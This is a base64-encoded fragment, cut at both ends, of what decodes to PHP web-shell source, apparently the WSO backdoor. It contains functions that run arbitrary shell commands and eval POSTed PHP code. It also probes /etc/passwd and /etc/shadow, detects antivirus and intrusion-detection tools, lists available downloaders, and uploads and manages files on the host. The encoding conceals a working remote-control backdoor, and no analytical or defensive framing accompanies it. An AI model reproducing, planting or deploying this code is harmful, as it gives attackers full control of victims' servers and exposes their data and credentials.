m8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAuICc8YnI+JyAuIHdzb1ZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJlZTo8L3NwYW4+ICcgLiB3c29WaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9CQUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+JwogICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicKICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOwp9CgpmdW5jdGlvbiB3c29Gb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnIgID48L3RkPgoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CgpmdW5jdGlvbiB3c29FeCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7CiAgICBpZiAoaXNfaW50KCRzKSkKICAgICAgICAkcyA9IHNwcmludGYoIiV1IiwgJHMpOwogICAgCglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJCXJldHVybiAkcyAuICcgQic7Cn0KCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CgpmdW5jdGlvbiB3c29QZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiB3c29XaGljaCgkcCkgewoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJuICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsKCQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7CgkJfQoJfQoKCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7Cgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7Cgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7Cgl3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKCXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJPcmFjbGUiOwoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCglpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JykgewogICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICR0ZW1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJzJywgJHRlbXApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOwoJCXdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwoJCXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsKCgl3c29IZWFkZXIoKTsKCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CgkJZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoYXJyYXkgKAogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLAogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0hbXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKICAgICAgICApLCBhcnJheSAoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsCiAgICAgICAgICAgICcnCiAgICAgICAgKSwgJHRtcCk7CgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKCX0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKCX0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJRVsnZiddKSkKICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOwogICAgCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJCQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21rZGlyJzoKCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9w